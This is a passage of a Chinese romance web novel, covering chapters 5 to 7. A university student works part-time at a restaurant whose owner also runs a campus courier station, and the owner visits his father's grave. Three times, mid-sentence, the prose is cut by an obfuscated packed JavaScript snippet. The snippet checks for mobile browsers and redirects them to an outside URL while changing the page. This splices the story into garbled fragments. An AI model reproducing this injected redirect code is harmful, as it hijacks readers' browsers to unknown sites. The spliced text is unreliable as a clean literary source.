时间已经过去半个小时,何嘉收拾好准备去学校一趟。 可才跨出一步就听见门外传来一句类似“victory”的游戏音。 她打开门,探头去看门外的那人。 那人的面孔很生,昨天是没见过的。他戴着一顶厨师帽,正好坐在圆桌旁玩手机,看上去年纪不大,莫约比她年长几岁罢了。 那人放下手机伸了个懒腰,余光突然察觉对面有个脑袋正盯着他,吓得惊叫一声:“卧槽!” 何嘉也被他的声音吓一跳,不自觉后退一步。 他面带疑惑问她:“你谁啊?” 过了一秒又换了个问法:“你是昨天那个来兼职的同学?” 何嘉攥着手机,点头。 他朝她背后的房间看了眼,震惊地问:“那你怎么从那儿出来?” 何嘉老实说:“昨天从派出所回来太晚,老板带我来的。” “啊?李成杨啊?”厨师帽的脸上突然闪过一丝奇异的神色,“他带你睡那儿?” 何嘉迅速摇头,生怕他误会:“不是的不是的,老板本来说帮我写个宾馆,但我刚欠了他钱,就不想再麻烦他了,是我求他让我在店里待一个晚上的。” 厨师帽笑了一下,问:“难得难得啊,你叫啥名儿?” “何嘉。” “哦,我张壅。” “你要在这儿干多久啊?”张壅朝她推出一个板凳,“你坐会儿呗。” 何嘉本想拒绝,但看他好像挺好相处,于是端起板凳跟他隔了点距离。 “差不多三个月吧。”她说。 他点头,视线在何嘉脸上转了一圈:“哎,我看你看着挺乖的,没想到昨天有那么大一力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242329|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气哈,能把那个闹事的弄流血也算是你本事。” 何嘉汗颜:“赔钱了……” 张壅笑着做出抹脖子的动作,“没事儿,要我也得气得在他身上砍两刀。” 何嘉默默笑了一下。 张姨不知道什么时候站到他们身后,毫不留情地给张壅来了一敲。 “你又在里搞什么东西?” 张壅痛呼一声,伸手去揉脑袋:“你打我干嘛,帽子都给我打瘪了。” 何嘉这才看见他的头发竟然是红色的,倒有点狂放不羁的味道。 张姨也注意到了,指着他连声数落:“你这一天天的给我染的什么鬼东西?都多大人了还像个小孩一样胡搞!” 张壅对何嘉说:“你看她,老年人就不懂欣赏,我这颜色多耀眼好看吧?” 何嘉坐着不敢回答,朝张姨看去。 张姨“哼”了一声,拉起何嘉就走。 “小嘉啊,你一天少理他,他就是不干正事,你和他多说几句别把你时间耽误了。” 何嘉没回答,反而问她:“你们那么熟还都姓张,是亲戚吗?” 张姨叹气:“我儿子,不争气。” “噢,这样啊。那你们一起在这里做多久了啊?” “快五年了吧。我们跟老板本来是认识的,张壅在这边炒菜,我平时就帮着招个人再看看店啥的。” 何嘉又问:“昨天的事是不是给老板惹麻烦了?真的不好意思。” “嗨呀,那算啥。”张姨拍拍她的手背,“没那么大回事儿,你别觉得有什么。店里出事儿也不怪你。今天一早成杨就给我打电话了,说是等会儿找了人来安监控,把每个包间都安上,这样就不怕他们再扯谎了。” 她精准抓住“成杨”两个字问:“老板等会儿也来吗?” 张姨说:“他每天忙得很,估计晚上要下班了才会过来看一眼。” 何嘉想起他那天身穿的工作服,一身灰扑扑的颜色,看上去沉默又疲惫。 她忍不住问:“他一直这么忙吗?又要管快递又要管饭店?” “唉,”张姨面色惋惜:“他本来不是做这个的,他以前还是个大学生呢,学的好像是个什么?机械制造?还是什么机械工程哦?后来家里有事就开始送快递了,这个饭店是他爸开的,后来就他在管了。” 家里会出什么事情才导致他选择一份和所学知识完全不想干的工作? 何嘉纳闷但是忍住没问,再问就显得自己太八卦了。 张姨只当她问这些是因为欠了李成杨的钱,贴心地补充:“听他昨天说调解赔了点钱,你别担心,成杨好讲话得很,你就是以后有钱了再补上吗,他肯定也不说什么的。” 何嘉尴尬地笑笑:“他昨天也这么说。” “那就不慌了,这几个月你就安安心心在这边做事,店里几个人都很好相处的。” “嗯嗯。” 和张姨道别后何嘉准备直接回学校。别的不说,这个饭店位置真是好,开在离学校几步路的位置,每天人流量是不愁了。 她边走边想,路过宿舍楼的时候突然瞥到“信捷快递”的驿站。 她记得这个快递从前都是直接派送到客户手上,只是因为开在学校里就有了一个自己的小驿站。 她摸出手机去看通讯栏,那条好友申请依旧无人理睬。 奇了怪了,难道她认错人了? 不对啊,张姨不也叫他“李成杨”吗? 难道是重名? 她不信邪,哪有那么多重名的。 脚底方向一转,她决定去那个驿站瞧瞧究竟是怎么回事。 5. 第5章 信捷快递没有专属的驿站位置,被学校随意安置在学生宿舍的架空层。 几张铁围挡草草圈出一块空地,里面工整摆放几着几个货架,配上一盏白炽灯,整个地方看上去有序、冰冷,就是还有那么一些艰苦。 何嘉悄悄趴在门口,像早上一样探了个头往里瞧。 几排货架全都满满当当,甚至是按颜色来摆放的,看上去像有强迫症。 她环视一周,每个角落都瞧了一遍,并没有找到快递员的身影。 这个点实在不应该。 人究竟去哪里了? 小姑娘皱皱眉头,仍然不相信这里确实是空无一人。她抬手看了眼时间,已经过了十点,难道是他出去派件了? 何嘉站在那里没走,想再等等。 马路这边的李成杨从超市出来,手上拿着一瓶水,正准备过马路回快递点的时候就看见一个奇怪的身影。 一个女孩支了个头往他的快递站里瞟来瞟去,看上去鬼鬼祟祟的。 这是要干什么? 他站在马路口没动,反而拧开瓶盖喝了起来,眼神一直落在那个女孩身上。 她穿着件黑色的外套,头发很长,全都扎在后脑勺上,人不是很高个子也蛮清瘦,在风里冻着的时候还会跺跺脚。 他一眨眼睛,莫名想起有人也做过这个动作。 哦,他想起来了。 他拧好矿泉水,大步朝她走去。 她却根本没听到脚步声,依旧固执地守在原地。 走到她身后以后,他语气淡淡地说:“等我吗?” 何嘉一个激灵,心脏跳得极快。 一股冷风拂过她的脖颈,让她止不住颤了一下,全身的鸡皮疙瘩都立起来了。 她回头去瞪身后的罪魁祸首,但几乎是看清他的一瞬间又焉了下去,抿着嘴一句话也不说。 “你要取快递?”李成杨径直走进去,把水随意搁在桌子上。 何嘉跟着他走进去,支支吾吾地说:“不是……我没快递。” 李成杨蹲在一堆快递面前,一个一个将它们入库,室内传来一阵“滴”声。 何嘉不知道说什么,索性站在他背后打量他。 还是那身工服,头发硬挺,肤色有点像晒过的麦子,整个人散发着矫健有力的气息,整个人和昨天的疲惫完全不沾边。 “不拿快递,那是要寄快递?”他停下手上的事,突然问她。 何嘉被他看着,心里不知道哪儿来的一点心虚,有些尴尬地开口:“也不是,我是想看看……你是不是那个APP上面的快递员。” 李成杨轻微弯了下嘴角:“那我是吗?” 她抠了抠脸颊,“是。” “那还有事吗?”他忽然站起身,伸手去勾桌子上的那瓶水。 他拧开瓶盖仰头喝完,吞咽的动作异常清晰。喉结上下滚动几次,带着颈侧略微绷起的青筋,线条贲张又有力。 何嘉盯着那处发愣,睫毛眨了两下。 “不说话?那就是没事,没事就出去吧。”他将空瓶扔向垃圾桶,空中划过一个完美的抛物线。 何嘉蓦然低头,声音像蚊子似的:“你看见我的好友申请了吗?” 李成杨在桌子前的椅子坐下,“什么?” “就是这个,”何嘉拿出手机给他看,上面是一条好友申请,“你看到了吗?” 她的指尖泛红,大概是冷的。 他只看了一眼就收回视线:“你不取快递,又不寄快递,你加我工作微信干什么?” 她规矩站好,眼神落在他的衣角,落在桌子上的某个细纹,反正就不落在他的视线上。 “我只是昨天碰巧刷到了。” 他没戳破她,只说,“你不寄快递不取快递能刷到我那也很厉害。” 她听出这是反讽,自顾自说:“我就是觉得在那儿见过你,然后我就去查了一下,上面写着你的名字和电话号码呢。” “然后呢?你加我干嘛?” “我就是觉得还是应该提前加你的,毕竟…我欠了你不少钱……” “也行,手机拿过来。”他朝她伸出右手。 “啊?”她不明所以。 他摆摆手:“微信码。早知道这样的话当时直接加上就行了。” “我也觉得。”还有后半句:不是你说之后再说吗?我不用我专门去搜啦。但是她不敢说,只是默默递出自己的微信码。 他很快扫好她的号码,那个猫咪头像乖乖躺在他的列表里。 何嘉这才发现他用的是私人号,“你有两个微信吗?” “不然?”他抬眼瞟了她一眼,表情像在说:你真的要问这种奇怪的问题吗? “噢,”她也不是真的问,只是顺口,“随便问问。” 他还是解释:“工作号对接客户,平时不方便。如果以后店里有事直接发消息,寄快递什么的也可以直接跟我说。” “好的。” “还有事?” “没有了。” “嗯,那走吧。”他指了指门口,何嘉准备离开的时候,他却又叫住她。 “何嘉。” “嗯?”她回头看他,头发在风里打了个旋。 “你下午什么时候去店里?”他问。 她答:“五点。” “张姨都跟你说了要干什么没?” “说了的。” “都会了吗?外卖怎么打包的,怎么给单子之类的,你不清楚的就问她,问她儿子也行,人都见过了吧?” 她的眼睛亮晶晶的:“都会了,也都见过了。” 他点点头,很欣慰:“没事了,去吧。” “拜拜。”她朝他挥手,空气里的尘埃在灯下反光。 他看着她的背影消失在远处,不自觉摇了摇头。 寝室里。 何嘉的另外两个室友都在实习,只留下一个和她一直关系不远不近的室友。 “嗨。”何嘉主动给她打了声招呼。 郑亦然抬头:“你回来了,昨天没回来哦?” 何嘉说:“对的,我兼职遇上点事儿,昨天在外面住的。” “哦没事吧?” “没事。” “嗯,”郑亦然指了指她的桌子,“我今天买了点水果,给你放了一点。” 何嘉顺着去看,自己的桌子上放着半碗颜色有些暗沉的草莓。 她有些不好意思,“这么多啊,谢谢你。” 郑亦然说:“没事,我买多了,一个人也吃不完。” 何嘉朝她一笑:“那我就不客气啦。” 室内忽然陷入一片沉默,何嘉坐在自己的位置上尽力忽视这种奇怪的氛围。 大一的时候她和郑亦然的关系还算不错。 郑亦然性格外向又喜欢开玩笑,整个寝室的人都喜欢她,有时候还会分给何嘉很多贵价水果,所以何嘉也觉得她这人很好。 可是后来郑亦然每次给她的水果,要么是吃剩下的要么是不新鲜的,都好像是她不想要的。 何嘉不是嫌弃她的水果,而是觉得她对自己的态度变得有些傲慢,甚至趋近于施舍。 所以何嘉不再跟她接近,关系就维持表面即可。 现在看到这半碗草莓,何嘉心里有种说不出的感觉,自己明明可以拒绝的,为什么不说呢? 她悄声将那半碗草莓推到一边,心情有些闷闷的。 这一天何嘉都在查开题答辩相关的资料,搜了好几篇答辩框架,总算是心里有了大致方向。 好在自己是学科历史方向,没有选太难写的论题。 收拾好东西,距离五点还有十分钟,从学校走去饭店的时间正好。 或许是赌气之类的,还是有那么点不爽,何嘉直接走了并没有给郑亦然打招呼。 然而人家并不在意。 一到店里,坐在前台的张姨朝何嘉露出个笑容:“来了啊。” 何嘉嘴甜:“张姨好。” 往里走去,有个姓蒋的保洁阿姨也朝她笑笑,人比较内向,日常不怎么讲话,但是非常和善。 “蒋姨好。”何嘉同样向她问好。 蒋姨点点头。 另一方圆桌上坐着上午见过的厨师张壅,和另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242330|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位姓安的厨师叔叔。 何嘉不晓得该怎么称呼张壅,索性只叫了一声“安叔”。 张壅见她无视自己,不乐意道:“咋的,看不见我呐。” “嗯……”何嘉故作思索,“我该叫你什么?” “我肯定比你大啊,你叫哥不就行了。” “张哥?”她试探着叫。 张壅更不乐意了:“张哥听起来像个办贷款的,叫壅哥。” 何嘉想笑,该说不说还有个张哥办贷款的广告,简直是从小听到大。 张壅啧了一声:“你笑啥,别笑啊。” “哦,壅哥。” “这还差不多。” 笑归笑,一声外卖提示音打破空气里的惬意,何嘉迅速撕掉单子,很麻溜地钉在后厨的滑轨上。 张壅问她:“这么熟?你以前也在饭馆兼职过?” 何嘉回答:“对的。” “那就不奇怪了,”他转头对安叔扬扬头,“走吧叔,来单子了。” 两人迅速带上厨师帽,标志着属于这家餐馆的新一轮战斗就这么开始了。 后厨的夜晚一向忙碌,一盘炒菜通常是猛火爆炒,火焰跳起来超过人的脑袋。 何嘉站在出菜窗口,虽然隔着一层玻璃还是觉得温度灼热,难怪厨师都穿得单薄。 不过两三分钟一盘菜就炒好,她熟练地将它和米饭打包,然后放置到专门的外卖区。 一个穿着外卖服的人很快来拿,路过她的时候嘟囔一句:“来新人了?” 何嘉没来得及接话,他的背影就消失在夜色中。 一个单子来了之后源源不断的单子就来了,何嘉有时候根本来不及送单子然后打包。 十多张单子一一排在滑轨上,里面炒菜的张壅和安叔需要时不时检查有无相同的订单,大多数时候都是张壅在里面快速指挥各自需要做什么菜。 场面紧急,丝毫不允许一丝扭捏。 何嘉有时候慢了两步,张壅还会扯着嗓子吼她:“单子呢?快点快点快点!我刚才下锅了一样的,你动作那么慢等会儿超时了!” 她也不恼他,知道这是工作时间,每一秒都刻不容缓。 店里忙得人不沾地,偏偏又来了两桌堂食。 何嘉和蒋姨主动去给他们倒茶,还没倒完就又来了个外卖单,何嘉只好小跑着回去递单子。 就这么重复来回,打包、上菜,完全没有一点休息时间。 指针指向八点的时候单子骤然变少,她终于有时间坐下来喝口水。 张姨给她递了根干净的毛巾,“累了吧?擦擦汗。” 何嘉接过毛巾说:“谢谢。” 又摇头回答:“不是很累,我之前也做过这种,已经习惯了。” 张姨指了指她的外套:“八点到九点来的单子就少了,你快把外套穿上吧,免得感冒了。” 何嘉照做。 张壅拿着水杯走出后厨,打趣了一句:“免得感冒了~不是我说,我就穿一件,老妈你咋就知道骂我不知道关心我?” 张姨又气又好笑:“你天天的,不跟我斗嘴你屁股痒是不是?” 何嘉在一边默默偷笑。 同一时间,一个身形高挑的男人掀开大门口的塑料门帘。 所有人朝他望去。 一身快递工服,头发剪得短,五官利落又正统,给人的感觉很正派。 李成杨看见几个人都奇怪地盯着他,觉得有些匪夷所思。 难道是自己的出现破坏了他们愉快的氛围? 张壅率先反应过来:“杨哥!你今天怎么过来了?晚上要在这儿吃吗?” 李成杨觉得热,顺手脱掉外套,只穿着一件藏蓝色的毛衣,勾勒出一身结实的肌肉。 他的目光越过人群聚焦在何嘉脸上,尽管她离他最远。 何嘉和他对视一瞬,突然移开目光。 他没再看她,反而回答张壅:“今天在这儿吃。” “有啥想吃的菜不?”张壅见着他就高兴。 他含糊一句:“随便吧,炒几个你们爱吃的。” “好嘞。” 6. 第6章 张壅和安叔在厨房忙活一阵总算端出四个菜出来,何嘉见大伙都累了便主动去拿碗。 她想着自己才来这里,总要有眼色,趁机博得一波大家的好感。 桌上摆着一盘回锅肉,小炒牛肉,呛炒土豆丝,还有一份豌豆尖圆子汤,每道菜看看上去都色香味俱全,闻起来很香,是那种用猛火才能炒出来的锅气。 好巧不巧,还正好是她喜欢吃的菜。 何嘉拿碗的时候数了数,加上老板,现在店里一共六个人。 她看了眼四盘菜,原来以为是不够六个人吃的,但每盘菜都是用大碗装的,想必应该是吃不完的。 张姨见她拿着碗站在桌子前,立马接过几只饭碗:“小嘉啊,你不用那么勤快呀,这些我们来就行啊,你等着吃饭就好。” 何嘉笑起来,两个梨涡若隐若现:“没关系,我也是顺手,就一点点事情我做无所谓的。” 张姨猜测她或许生活得有些不容易,所以才要处处看人脸色,心里一片慈爱,看着她的眼神都温柔起来,“好好好,这么好的小妹,乖得很。” 她没接话,依旧笑着帮她布置碗筷。 大伙忙了一晚上,这会儿都纷纷入座。何嘉站在桌子旁迟迟没有坐下。 李成杨从前台起身,慢悠悠地走过来,路过她的时候抬眼,“你站着干嘛?” 何嘉说:“等你过来我再坐。” 李成杨拉开椅子自己坐下,毫不客气地说:“哦,尊老是吧?” 她噎住,“……不是。” 她只是觉得自己才来,不等老板入座就吃饭看着有些没规矩。 她可不是那么没有自知之明的人,况且某些为人处事的道理她从小就懂了。有些嘴上会说没事,但心底会记着你的一举一动,要保证不出错就要事事有眼色。 旁边的张壅看她愣着不坐,指了指自己身边的座位,给她递了个眼神,“哎呀,你老讲究人了,但是我们这里不讲究这些,不用那么见外。” 何嘉被他戳中心事,有些不自然地坐到他身边。 好巧不巧就对着老板的座位。 李成杨没管她,拿起饭桶给自己添了满满一碗饭,大口吃起来。 何嘉也给自己添了一碗饭,尽量压低自己的存在感。 饭桌上几个人除了张姨和张壅爱说话,其他几个都只是默默吃饭。 何嘉的视线飘到那道小炒牛肉上,可惜那道菜离她很远,她想伸手去夹又觉得有些不好意思。 就这么吃了十分钟,她的视线有意无意落在那盘菜上,心里做了好大一番思想斗争。 要是伸那么远去夹会不会不太好?可是又好想吃…… 最终她还是觉得面子更重要,实在是不好意思把手伸那么远去夹。 李成杨往嘴里塞了一片牛肉,视线落在她脸上。 她吃饭的时候很紧张,不敢和他对视也不敢去看其他人,像只仓鼠一样只在自己的范围内活动,生怕有人注意到她。 为什么?难道自己看上去很凶? 不应该。 他莫名想到自己像她这么大的时候好像也是这样,不习惯和不熟的人吃饭,总觉得别扭。 或许是出于理解,他大手一推,将那盘牛肉往她的方向推近了一些,确保她能夹到。 “?” 何嘉看着那盘菜突然被他推近,有些不解地盯着他。 他只说一句:“夹不到就说。” 饭桌上其他四个人都齐齐看向他们俩。 而她一下子红了脸颊。 原来他早就看穿她在想什么了…… 只是这么一来还不如她忍着不吃呢!真的好尴尬啊! 张姨哈哈大笑,伸手替她夹了一筷子。 “别害羞啊,想吃什么自己夹,夹不到站起来夹也可以啊,就是别见外嘛!我们都好相处的呀!” 何嘉低头着头将牛肉放进嘴里,“谢谢张姨。” 又想起什么,抬头看向李成杨:“谢谢老板……” 他没作声。 坐在她身边的张壅也抬手夹了一筷子牛肉,转头问她:“好吃不,我炒的。” 她很给面子:“好吃的,很好吃。” “那可不,我的手艺哈,安叔第一那我就排第二,除此之外没有第三了。” 安叔听见自己的名字,朝他俩笑笑。 何嘉只管顺着他说:“嗯嗯,挺好的。” 张壅又夹了两筷子,突然问她:“哎,你读大几啊?” 何嘉回答:“大四了。” “大四?大四不得准备毕业找实习啥的?不是还要写个什么论文吗?” “嗯……我最近在准备论文了,实习的话不太着急。” “怎么?找着了?啥工作?” “还没找,因为有可能要准备读研。” “呦,高材生啊,”张壅继续问:“那你学啥专业啊?” “学历史的。” “学历史能找个啥工作?考古探墓啊?是不是还能见到古代僵尸?” 何嘉笑了:“不是,我是学的师范。” 张壅作出惊讶的样子:“不得了不得了哦,以后是要出来做老师的啊。” 一旁的张姨跳出来说:“老师好啊,工作多稳定啊,还有寒暑假呢!” 张壅抓住间隙,“那你读研就是为了做老师?” 何嘉说:“对的。现在当老师要求的学历挺高的,要研究生才能当中学老师了。” “不容易喔。” “还好。” 何嘉又扒拉了几口米饭,不知不觉已经见底了。她迅速吃完最后几口,有些想起身离席,但是他们都没吃完,于是只好继续坐在原处。 一直没说话的李成杨看了看她的碗,“不吃了?” 她说:“我吃完了。” 他很怀疑:“吃饱了?” “吃饱了。” “嗯。”他继续夹菜,“耗子一样。” “?”何嘉眼里满是迷惑。 他慢悠悠地说:“吃得挺少的,像是吊命。” 她觉得神了,这老板昨天多么慷慨,今天怎么总是说些噎她的话。 何嘉严肃地说:“没有,我吃得挺多的,只是比较快。” “嗯。”他又不说话了,她也不再看他。 张姨舀了一碗汤,喝了两口想到什么:“小嘉啊,读研好哦,以后出来也能找个高学历的对象,那多好,门当户对的养的小孩智商都高。” 找对象?养小孩? 何嘉一听这话脸颊更红了:“暂时没有这个打算的。” 张姨给她舀了一碗汤:“现在没有以后有啊,你现在该是没有对象吧?” “没有。” “那我跟你讲哦,我有个老同学,家里出了个博士嘞!学历高啊,人才又好,我看以后介绍你俩认识多好呢!” 何嘉不说话,心里好想快逃,怎么老一辈的总是喜欢见人就当媒人,赶快结束这个话题吧! 同样正在喝汤的李成杨放下碗筷,咳了一声。 大家闻声朝他看去。 他像没事人一样说:“张姨,人家一小姑娘,大学都没毕业你就给人介绍对象,不好吧。还是个博士,那不得三十多了。” “啊呀!”张姨一听这话才发现不妥,用力拍了拍自己脑袋,“对对对!你瞧我这说什么呢,小嘉你才二十出头哈,瞧我怎么想到给你介绍个叔叔去了,不合适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242331|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不合适,你以后还是要找个年轻的。” 叔叔? 李成杨在心里默念这两个字,想到自己也是这个年龄就已经被称为叔叔了? 他轻嗤一声,直起身抽了两张纸,擦了嘴之后率先离席。 何嘉不知怎么的,突然盯着他的背影发神。 老板今年多大了? 只想了半秒更觉得不妥,摇摇头看向张姨:“我觉得一个人就挺好的,找不找对象都差不多的。” 张姨还没来得及回答,旁边的张壅就说:“哎,你那是没遇上合适的,你跟我年龄差不多大啊,你喜欢啥样的?我朋友挺多的,各种样式的都有,包你满意。” 这话在何嘉耳里怎么听都不是那么合法呢。 她喝完最后一口汤,铁了心拒绝:“不用了,我是真没那个想法,现在一个人真的很好。” “好吧。”他没了兴致,起身去后厨开始涮锅。 一直不说话的蒋姨将一桌子碗筷收好,张姨同她一起把碗洗了,两个人有一搭没一搭地聊天。 何嘉坐在另一方圆桌上开始发呆。 这一顿饭吃下来还算顺利,如果张姨他们不提给她介绍对象的事就更好了。 不过可喜可贺的是,这家饭馆里的伙计果然真的和蔼可亲,每个人都非常好相处。 距离下班时间还有二十分钟,何嘉摸出了上午的答辩稿,准备趁这档空隙整理整理。 李成杨恰好从二楼下来,看了眼时间又看了看坐在圆桌旁的姑娘。 她的头发垂在肩上,有几根发丝贴在还没恢复的左脸上,发尾有些轻微泛黄,可能是营养不良。 他又看了看她的侧脸,鼻梁小巧秀致,睫毛不是特别长,但眼睛水灵灵的。如果脸上没有那天被打的痕迹,应该是个年轻又惹人喜欢的女孩。 这一点有好有坏,但总的来说和他没有关系。 “下班吧。” 他走下楼梯,声音从何嘉的头顶上传来。 她抬头对上他的视线,只见他的毛衣在灯光下泛着微蓝的光亮,显得他整个人非常柔和。 和她初次见他的时候一模一样。 她指向墙上的时钟,对他说:“我还没到下班时间呢。” 20:45 还有十五分钟才下班。 他不明白她这人怎么什么都那么较真。 轻微皱眉,低头看她:“你做什么都那么规矩?” “嗯?”她不知道他什么意思。 他摇头表示无语:“让你走就走,没单子了就走。” 她不动,“可是万一十五分钟内有单子了呢?我的工时还没结束。” 他被她的逻辑折服:“你很喜欢上班么?” “也不是。” “那就走。我们这儿规矩不严,也不是什么压榨员工的地方,都让你走了,早点回去早点休息。” 何嘉慢吞吞地点头:“噢,谢谢老板。” 等她背着背包离开的时候,还不忘回头看看店里的几个人。 张姨和蒋姨朝她微笑挥手,李成杨坐在前台玩手机。 她的视线留在他身上,犹豫了几秒还是抬手对他打了个招呼,“老板再见。” 李成杨抬头,一下子想到什么。 他知道了。这个姑娘有一套自己的礼数系统,不完成的话可能要在心里焦虑一天。 比如在无人的夜里一遍一遍回想:不打招呼就走会不会太不礼貌了?这样不会被讨厌吧?要不然还是应该打个招呼吧? 他懒得猜她究竟是不是这么想的,随口回应了一句:“走吧,拜拜。” 她微微一笑,嘴角的两个梨涡可以盛起几滴清泉。 “拜拜。” 7. 第7章 余川这几天骤降几度,风里有了刺骨的寒意,仔细去看路旁的野草,叶子由青转黄,上面浮着一层薄薄的白霜。 路边的树枝孤零零地站在人迹罕至的街道旁,无人注目,独自凛冽。 这是和以往都截然不同的冬天。 “景山公墓”每座墓碑旁都种了一棵柏树,在严冬十分依旧长青,也许是象征生命的延续,也许也没有真正意味着什么。 李成杨掏出一方干净的帕子,弯腰蹲在其中一座墓碑前。 他慢慢擦掉墓碑上的灰尘,没有表情地注视墓碑上的照片。 那是一张黑白相片,里面是一个微笑着的男人,他看着有些胖,面相竟和弥勒佛有些相似。 往下看,他的名字被大写加粗。 李建峰。 李成杨默默开了一瓶二锅头,替他满上一杯,搁置在他的墓前。 他没有说话,也不想说话。 他这次来还带着一个人,正是饭店的厨师张壅。 张壅接过他手里的白酒,给自己也倒了一杯。 “师父,你在那边好不?” 无人回应,他的声音消散在风里。 “我一直在杨哥的饭店工作,”他喝掉那杯白酒,继续说,“以前你开店的时候说我技术不行,以后绝对不会招我。现在怎么着?杨哥招我了,我现在炒菜也算是有点水平了。你在那边放心,杨哥把店打理得很好。” 李成杨站起来,目光一直很冷漠。 张壅又陆陆续续对李建峰说了些话,差不多喝了半瓶二锅头。 “走吧。”李成杨不让他再喝。 张壅收好酒瓶又点了根烟,等烟燃尽了才跟着李成杨离开。 回市区的路上两个人都很沉默。 李成杨手握方向盘,转头盯了张壅一眼。 “喝多没?” 张壅瘫在副驾上,笑了:“就半瓶怎么可能多?就是有点累了。” “嗯,没多就行。” 两个人又安静下来。 张壅两只手搓了搓面颊,脸色变得通红。 虽然没醉,酒精还是上脸了。 他有些坐立不住,几次想说些什么又开不了口,还小心打量几眼李成杨的脸色。 “有话就说。”李成杨向来不喜欢墨迹。 张壅咽了口口水,声音支支吾吾的:“杨哥……你还在怪他?” 李成杨没有立马回答,反而是转头看了张壅一眼。 眼神静静的,看不出心情。 张壅试探着替他回答:“你还在恨他。可是他都走了那么多年了……他终究是你爸啊。你……” 李成杨打断:“他是不是我爸我都不会原谅他。” “可是你每年这个时候都来看他,”张壅不理解,“你心里怪他,但是你终归是心软的。” “呵,”他轻笑,“我来看他是提醒他不要忘了自己以前做了什么,别以为死了就安生了。” 张壅还想说什么,但李成杨没给他机会。 “张壅,你是他徒弟,你感激他我不阻拦,但是我们家里面的事,没有那么简单的。” 张壅苦涩点头,还是忍不住说:“我十五岁之后就去读职高学炒菜,要不是师父带我,我也不晓得现在能干什么,但是我真不知道他是那样的人……” “睡觉吧。”李成杨不想再说这个话题,“你困了,安静点。” 张壅终于是把没说完的话咽在肚子里,车内恢复平静。 回到市区的时候才早上八点,李成杨没管张壅去哪,反正他要回学校的快递站。 他要工作,他需要工作,需要工作将他的生活全都填满,让他没有时间再去想那些缥缈的东西。 张壅站在路旁抽烟,一根又一根,烟雾将他整个人都包围起来。 他看着李成杨扬长而去的背影,很困惑。他不理解李成杨这种不缺钱不缺房的人,那么拼命工作,甚至同时干两份工作到底是因为什么? 烟雾越飘越远,成了雾霾一直笼罩在学校上空。 学生们忙着赶早八,主干道上全是拿着早餐的学生。 一片人黑压压的,现在年轻人都喜欢穿黑色,习惯把自己隐匿在人群里获得安全感。 何嘉也是他们之中的一员。 她已经大四,按理说不再有专业课,也可以睡到日上三竿再起床,但她今天想去找个空教室准备论文的事。 反正在寝室里准备不行,她有些受不了郑亦然总是有意无意打探她在做什么,那样让她觉得浑身难受。 她找了一间离宿舍楼最近的教室,由于没有人气,室内的空气冷得她打了个喷嚏。 她没再想别的,打开电脑开始专注手上的事。 如今已经是2018年的一月初,她得在三月之前交初稿,时间不短也不长。 她选的论题方向是《历史教育理论与方法研究》,总之又要包含历史专业性又要论证与之相关的教育原理。 这个专业她是很喜欢的,有一部分原因是王丽琼想让她当老师,而她也很乐意。 当老师多好呀,工资稳定又有寒暑假,虽然可能会遇上难缠的学生和家长,但这个选择对她来说已经是最好的了。 再想到王丽琼,不知道她还能不能坚持到自己当上老师那一天。 唉。一想到她,何嘉就有些眼眶湿润,那是她从小跟着的阿婆,如今因为病痛就要上天堂了。 她拿出手机查了查今年的春节日期,在2月16号。 “今年春节一定要早点回去看阿婆。”何嘉收起情绪,暗暗决定道。 时间一分一秒过去,何嘉将注意力全都收到面前的电脑里,除了喝水基本上没抬过头。 又是查资料又是看导师建议,这么一忙再次抬头都是三个小时以后了。 太阳慢悠悠地冲出云层,气温却仍旧不高。 一缕阳光洒在窗户上,泛起一点金色的反光。雾霾消失不见,世界重归清净。 何嘉撑着脑袋往外瞧,一点阳光打在她脸上。 这个时间点学生们都在上课,主干道上没有几个人。 她抬眸看向树上的小鸟,有几只麻雀从这棵树的枝头飞到另一棵树的树梢,灵活又可爱。 视线往下,一辆三轮车突然冲进她的视线。 那车行驶得不算快,车身还贴着“信捷”两个大字。 是快递车啊。 是快递车? 何嘉的视线紧紧盯在那辆三轮上,细细一看,里面开车的那个人是…… 老板? 她感到很惊奇,老板竟然看着快递三轮上班。但是想想好像也没问题,送快递的不开三轮开什么? 总之不能开自己的车吧。 李成杨坐在驾驶位,眉毛一皱,周身一股戾气,他的眼神并不温和,看向远处的时候更像是怨气。 配上他墨黑的眉眼和粗壮的躯体,整个人不像是去上班,反而像是要去干架的。 路过一个路口,他离教学楼越来越近,临近的时候突然转头往这边盯了一眼,何嘉看到了他的表情。 一瞬微怔,他看见教室里坐了一个小人儿。她的发丝在太阳下染上金光,小脸呆呆的,左脸的伤痕早就长好了,洁白的肌肤上有一些同样金色的绒毛。 